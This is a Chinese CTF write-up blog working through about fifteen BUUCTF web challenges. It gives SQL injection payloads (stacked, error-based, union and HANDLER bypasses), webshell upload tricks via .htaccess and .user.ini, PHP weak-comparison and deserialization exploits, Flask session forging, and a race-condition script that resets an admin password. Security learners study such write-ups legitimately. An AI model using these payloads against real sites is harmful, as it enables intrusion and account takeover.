buu题目合集(一)

记录一些刷题的做法与思路

0x01 [强网杯 2019]随便注

简单题目,但是姿势很多

image-20230611105150956

直接是GET传参,首先要找闭合的符号.

输入payload:1" and 1=1--+能正常执行,但是换成1" and 1=2--+也能执行,判断"并不符合

在试1' and 1=1--+,能正常查询,换1' and 1=2--+不能执行,可知'才是闭合符号.

打入1' union select database()--+,回显有waf

image-20230611105928456

select被过滤,尝试一下经典的几个绕过un/**/ion se/**/lect/*!%55NiOn*/ /*!%53eLEct*/等都不能绕过.

尝试堆叠注入,1';show databases--+能成功

image-20230611110756029

先查当前数据库中的内容,

1';show tables--+
1';show columns from `1919810931114514`--+

image-20230611111842667

接下来就是读字段的问题。

第一种方法、能堆叠注入就能执行sql语法,就能拼接出select

1';set @sql=concat('s','elect flag from `1919810931114514`');PREPARE q FROM @sql;EXECUTE q;--+

先构造查询语句,再执行构造出的语句

第二种方法,看别的师傅的方法真的太骚了,使用了题目原来就有的select语句

修改表名与字段名,添加上id字段,就是将友flag的表结构构造成words表一样,使原来的查询语句将flag查出

使用:

1';show columns from words;--+

查询两个表的结构、

words:

image-20230614191833422

1919810931114514表:

image-20230614193556969

需要添加一个id字段,将flag字段名改成data

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALERT TABLE words change flag data VARCHAR(100);--+

然后直接查12就能查出flag

0x02 [SUCTF 2019]EasySQL

写这个题之前那需要了解几个sql的知识点:

1、select 1 from table;

此sql语句查询结果是临时建立一列,每行的值都是select后面的数字(字母则会报错),行数与表里的行数一致,可以用来查询表中是否有记录。

2、select 1||columns from table

MySql中sql_mode默认是不设置pipes_as_concat

||当作或运算使用,所以,上面的语句1||columns如果columns在表中存在,则相当于select 1 from table,结果跟上面的知识点一样

image-20230706023825597

但是如果columns不在表中则会报错:

image-20230706023946726

当然如果是0||0,相当于select 0 from table,则会查询出一列0

image-20230706024108708

若sql_mode中设置了pipes_as_concat

即将||当成concat()来使用,将两个参数合并,会得到一下结果:

image-20230706025624343

能查出正确的列并且在正确的值前面加上了另一个参数,如果是两个存在的列,则将两列的值合并

image-20230706025816212

现在看回题目,无论输入任何数字,回显都一样:

image-20230706024321002

输入字母则没有回显:

image-20230706024424069

试试闭合的语句,大部分都没有回显,但是1"时,显示Nonono:

image-20230706024806760

输入union、extractvalue、from、PREPARE、flag等等都是一样被过滤了,联合查询时不可能了

试试堆叠

1;show databases;
image-20230706025208846

能查询,查一下表注意看这里是有两个查询结果的

image-20230706030031294

image-20230706030234668

了解以上知识可以猜测,查询语句可能是,并且带有过滤

select $_POST['query'] || flag from table

在上面查表的时候,前面时1的时候,第一个查询结果是数组1;为3时第一个结果是数组3,说明是执行了一个select 数值;的;也能说明我们的猜测很可能是正确的

所以在这里就有两种做法

一个是使用select *,借用后面的from语句查表,即

select *, 1||flag from Flag;

query=*,1

image-20230706030936834

另一个是将||变成concat()使用,即

query=1;set sql_mode=pipes_as_concat;select 1
image-20230706031228745

分号截断了select,所以要带上select;可以看到flag前面还带有一个1

0x03 [极客大挑战 2019]Upload

明显的文件上传到但是文件格式限制为图片

image-20230706221947474

bp抓包后改文件名,还是过滤很多后缀php、php5等等

image-20230706222239327

image-20230706222335565

修改phtml,能上传,但是检测<?字符串

image-20230706222911191

换一个方式

<script language="php">phpinfo();</script>

上传成功,但是猜测上传的路径是/upload。。。。。。。

image-20230706223049500

执行成功,直接换成木马,蚁剑连接就行

image-20230706224618274

0x04 [ACTF2020 新生赛]BackupFile

点开说让我们找源码,直接dirsearch扫一遍,buu设置了限制,要调整一下线程与延时

python3 dirsearch.py -s 2 -t 1 -u http://****
image-20230709012316441

访问就能下载源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

可以看到是传入key,并且只能是数字,然后跟字符串"123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"比较

php中的弱比较

image-20230709012829490

所以直接传入key=123即可

image-20230709012915075

0x05 [RoarCTF 2019]Easy Calc

输入表达式能计算结果,查看源代码是向calc.php发起了请求

<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>

直接访问calc.php,能看到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

能看到过滤了挺多字符,自增、取反等无字母都不行了,但是还能考虑无参数RCE

尝试传入num=phpinfo()

image-20230711005324737

报错don't have permission,正常传入12*12能成功返回

image-20230711011142478

多次测试只有数字跟运算符才可以,字母都不能访问,而且,前端源码写了设置了waf,应该就是waf的作用了

学习一下,waf可能是限制num必须是数字,例如某个防火墙:

alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)

以上规则就是限制参数只能是数字,但是结合php的字符串解析规则,当POSTGET传入的参数后,会进行解析,将参数名中的空白符删去;对特定的符号进行替换,例如将[替换成_

这样一来就有方法进行绕过,%20num在waf中能通过,而且在php的解析中也能将值传给num

尝试?%20num=phpinfo()

image-20230711012533070

能成功执行,于是采用无参数rce

首先是var_dump(scandir(chr(47))),查到有f1agg,构造读文件file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

image-20230711013040587

0x06 [HCTF 2018]admin

先随便注册登录看看,

登录后带有cookie,在change password页面存在信息泄露,能明确是flask框架

image-20230716232538120

那么session就能先尝试解密,用P神的解密脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
python3 session_decode.py cookie
image-20230717010016547

但是仓库已经失效了,直接找wp

解法一:

config.py中有

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

使用脚本进行加密https://github.com/noraj/flask-session-cookie-manager

python3一直不能成功,换成python2,将name换成admin,密钥用ckj123,生成后替换cookie再次访问

image-20230719040252484

解法二:Unicode欺骗

源码中使用了自己编写的函数strlow()将字符转换为小写字母

from twisted.wordsprotocols.jabber.xmpp stringprep import nodeprep


def strlow(username):
username = nodeprep.prepare(username)
return username

nodeprep是由twisted导入的,在requirements.txt中是Twisted==10.2.0而最新版本是22.10.0,相差较大,搜索可知Twisted存在Unicode的问题

Twisted会进行unicode字符的转换

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

也就是说注册时使用ᴬᴰᴹᴵᴺ来注册会第一次调用strlow(),将ᴬᴰᴹᴵᴺ变成ADMIN,再去修改密码,再次调用strlow()ADMIN会变成admin,密码也会修改,就能登陆成功

image-20230722000646274

能看到注册后登录就是ADMIN,去修改密码即可

image-20230722000808299

修改密码后登录admin能解出

解法三 条件竞争

网上找打一些关键源码

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
logout_user()
return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

可以看到/login路由中,如果是POST请求过来,则会先对session["name"]进行赋值,再判断账户密码是否正确,这样一来,在登录的账户密码判断前,sessioon["name"]的值可以暂时由我们进行控制

再看/change路由中,如果由POST请求过来,则会获取session["name"]的值,对该账户名进行修改密码

那么就会存在我们使用admin来登录,即使他不能登录成功,但是session["name"]的值会改变,在session["name"]的值改变后,login()的逻辑结束之前,如果/change路由有POST请求过来,那么就会获取到admin的账户名,并且对他进行修改密码,那admin的密码就会被改变

贴出别的师傅的脚本

import requests
import threading

def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
login(s, 'test', 'test')
change(s, 'test')

def func2(s):
logout(s)
res = login(s, 'admin', 'test')
if 'flag' in res.text:
print('finish')

def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()

if __name__ == "__main__":
main()

0x07 [BJDCTF2020]Easy MD5

f12消息头中有hint

image-20230722034842905
select * from 'admin' where password=md5($pass,true)

先看看带有两个参数的md5()函数,第二个参数如果是true,则会将32位md5()的结果转换成16位的字符输出

image-20230723110940245

那么我们就要构造

password = '***' or true

这样类似的结构来实现注入

在mysql中,表示true的字符与php类似,"1ufif"、“1”、1等都是true

给出比较常用的ffifdyop ,经过md5()后转化的字符结果为'or'6É]™é!r,ùíb就能使先闭合,输入后进入下一个网页

image-20230731031042371

可以看见部分源码为:


$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

是md5的弱比较绕过,直接传参

a=s1091221200a&b=s155964671a
image-20230731032146755

下一个源码

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

跟上一个差不多,到那时用了强比较,上面的payload就不行了,但是能用数组绕过,md5()函数不能处理数组,会返回NULL,可以相等

param1[]=1&param2[]=2
image-20230731032623852

0x08[极客大挑战 2019]BuyFlag

/pay.php源码泄露


~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

传参不能是数字但是要求等于404,弱比较"404afdsgfdf" == 404

还要求是CUIT的学生,Cookie: uesr=1

要付钱post传参money=100000000,但是提示money过长,应该是有长度限制,传10e9

image-20230731115415759

0x09 [MRCTF2020]你传你🐎呢

记录一下.htaccess文件的内容

<FilesMatch "shell"> 
SetHandler application/x-httpd-php
</FilesMatch>

此文件识别文件名含有shell的问及爱你,并将其解析为php文件

AddType application/x-httpd-php .png

这个则将所有png文件解析为php

先上传.htaccess文件,将Content-Type修改为image/png;再上传相应的png木马图片

0x0A [ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

代码审计,text可用伪协议php://input

file也能使用伪协议读取一下useless.php的内容看看需要序列化的内容

image-20230801025748890
//useless.php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

//exploit
$a = new Flag();
$a->file="flag.php";
$b = serialize($a);
echo $b;

最后payload

GET /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  HTTP/1.1
Host: e3a87008-803d-429f-88d1-9c68760b675a.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 20

welcome to the zjctf
image-20230801030223595

0x0B [极客大挑战 2019]HardSQL

按照题目名字是sql注入,但是过滤了空格、=等,fuzz一下看一下还有哪些

image-20230802025413578

能看到update没被过滤可以尝试一下报错注入

经过尝试,闭合的符号是'.

先尝试updatexml()进行报错,即updatexml(目标xml文档,xml路径,更新的内容)如果or被过滤这里还能使用^来代替

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
image-20230802030252083

查一下表名,=被过滤但是还能用like,空格被过滤可以使用()来分隔

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
image-20230802031444704

查字段名

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23
image-20230802031804020

查字段内容

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23
image-20230802032203032

报错注入有字符长度限制,需要用到left()、right()函数来得到完整的信息

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23
image-20230802032405776

还有一个函数是extractvalue(),跟上面的类似,但是这个函数只有两个参数,即extractvalue(目标xml文档,xml路径)

两个的注入语句都是再xml路径的位置,语句一样的就不重复写了

0x0C [SUCTF 2019]CheckIn

尝试上传图片马

image-20230809172455235

内容过滤,上传<script language="php">phpinfo();</script>,能成功上传,并给出了路径与目录下的文件

image-20230809173733600

但是并没有解析成功,尝试上传.htaccess文件,但是有文件格式过滤,报错exif_imagetype:not image!,加上GIF89a的文件头能绕过,成功上传.htaccess文件,但是仍然不能解析成功

参考这个文章,还可以使用.user.ini文件来进行包含外部文件

先看看.user.ini的介绍

.user.ini 文件 ¶
PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

即,可以使用.user.ini文件来 更改php的配置,重点看auto_append_fileauto_prepend_file这两个参数的设置,可以设置包含外部文件,类似include()函数. 但是,要求上传的目录下存在可执行的php文件

#.user.ini
GIF89a
auto_prepend_file=js_phpinfo.png

js_phpinfo.png就是要包含的木马文件名,上传该配置文件后再上传js_phpinfo.png的木马文件

使用蚁剑连接

image-20230810211547770

0x0D [网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

代码审计,先捋捋思路,通过控制op的值,能进行内容读写,但是对上传的序列化参数有限制,只能出现可见字符,但是FileHandler类的变量是protected类型的,序列化会出现0x00的不可见字符,需要绕过.php7.1+版本对属性类型不敏感, 所以可以直接使用public属性的变量就能绕过

还有就是__destruct()中,将content置空了,所以写文件没有多大作用,考虑读文件,要使if($this->op === "2")不成立,但是要使if($this->op == "2")成立,前者是强等于,后者是弱比较,所以op=2就能实现

<?php

class FileHandler {

public $op=2;
public $filename='flag.php';
public $content='ff';
}

$a = new FileHandler();
print_r(serialize($a));
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"ff";}
?>
image-20230813010902341

0x0E [GXYCTF2019]BabySQli

给出登录框,尝试登录admin:admin,不出意外登陆失败,查看请求是pw=admin&name=admin

尝试sql注入,使用'不加注释就报错提示语法错误,加上注释就正常,能确定'是闭合符号

但是过滤了好多or, (), information_shema, order by, database等等,尝试admin' and 1 -- -admin' and 0 -- -时返回不一样,考虑是不是能bool盲注,但是又没有(),不能使用函数,也打不了

使用union select 1,2,3判断出字段数是3

注意到页面上给了一段注释的字符串

image-20230817001846371

base32再base64

image-20230817001924083

select * from user where username = '$name'

这么看只能从union下手了,看了下wp,密码上还存在MD5的绕过(这不看源码真想不到)

这就要说一下账号密码登录的后台的经典逻辑,先用传参的用户名到数据库里面进行查询select * from user where username = ?,从查询的结果中取出密码的值或者哈希值,再将传参的密码的值(或者哈希处理的值)进行比较

那么我们就能使用union的查询,改变后台的查询结果,控制密码的值或者哈希值与我们传参的密码相符合

那么我们就要知道应户名跟密码的所在的字段在那个位置,当使用a' union select 1,'admin',3 -- -是返回是wrong pass!,其他的都是wrong user!,说明用户名的位置就在第二个,那就猜测密码在第三个位置,所以要将密码(或者哈希值)放在union语句的第三个位置,这个题目里面的密码还用到了md5()处理,所以可以在sql语句里面插入md5的值,在传参pw为相应的字符;也可以使用md5绕过的方法,例如md5()不处理数组,会返回NULL,两个的payload分别如下:

name=a' union select 1,'admin','202cb962ac59075b964b07152d234b70' -- -&pw=123

name=a' union select 1,'admin',NULL -- -&pw[]=111
image-20230817004508511

0x0F [GYCTF2020]Blacklist

'闭合符号,直接注,可以union,堆叠,但是发现有过滤

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

先用堆叠看一下表结构 inject=0';show tables; -- -

image-20230817235902656

select被过滤,报错注入联合注入都没有了,但是MYsql还有一个特有的轻量级查询语句Handler查询,可以尝试一下

-- 用法
handler table open as tab; -- 打开句柄
handler tab read first; -- 读取第一条记录,相当于 select *但是只读一条
handler fuck read next; -- 读取下一条记录

所以我们用0';handler FlagHere open as fuck;handler fuck read first; -- -,直接就出了

image-20230818000449148